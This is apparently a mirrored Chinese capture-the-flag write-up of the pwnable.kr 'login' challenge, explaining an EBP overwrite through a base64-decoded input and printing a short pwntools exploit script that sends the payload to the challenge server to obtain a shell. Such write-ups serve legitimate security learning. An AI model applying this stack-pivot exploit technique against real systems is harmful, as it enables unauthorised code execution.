zoukankan      html  css  js  c++  java
  • pwnable.kr login之write up

    main函数如下:

    auth函数如下:

    程序的流程如下:

    1. 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中

    2. mad5_auth()生成其MD5值并与f87cd601aa7fedca99018a8be88eda34相比,如果相等则调用correct函数,得到shell

    找12个字符进行base64加密:

    将值输入找到溢出点:

    发现AAAA覆盖了main函数的ebp,程序执行到leave出错。

    leave相当于以下两条指令

    指令含义
    MOV ESP, EBP EBP的值赋给ESP,即将栈指针移动至栈底部
    POP EBP 弹出保存在栈顶的前一个函数的EBP,即恢复栈桢

    第一条指令会把ESP的值赋为0x41414141,而这个地址是不合法的,显然不能作为栈的地址,因此会报错

    这个溢出的利用方法简单,把main函数的EBP覆写为一个可以访问的我们可以控制的值即可。

     利用写出exp,第一次自己写exp哦,虽然是简单的,但还是很开心:

    #!/usr/bin/python
    from pwn import *
    #p=process('./login')
    p=remote('pwnable.kr',9003)
    #sysadr=0x08049278
    #inputadr=0x0811EB40
    payload=(p32(0xdeadbeef)+p32(0x08049278)+p32(0x0811EB40)).encode('base64')
    p.recvuntil('Authenticate :' )
    p.sendline(payload)
    p.interactive()

    一直不明白0xdeadbeef是什么作用,今天请教了师傅,终于弄明白了:

    因为输入的起始地址并不是直接从返回地址被存放的位置开始的,那前面那些没什么作用的栈空间就要被填充
    如果我用的是process那么就是启动本地程序,拿到的就是本地的shell。
  • 相关阅读:
    个体户、独资公司、有限公司、股份公司、控股公司、集团公司
    个人所得税
    移动端下拉滚动刷新
    web页面引入字体
    Flex布局
    NodeJS包管理器之Yarn
    域名、顶级域名、一级域名、二级域名、子域名
    JVM线程状态Running、Sleeping、Wait、Park、Monitor
    Java虚拟机解释器与JIT编译器
    ASP.NET之Cookie(坑爹的Response.Cookies.Remove)
  • 原文地址:https://www.cnblogs.com/liuyimin/p/7828127.html
Copyright © 2011-2022 走看看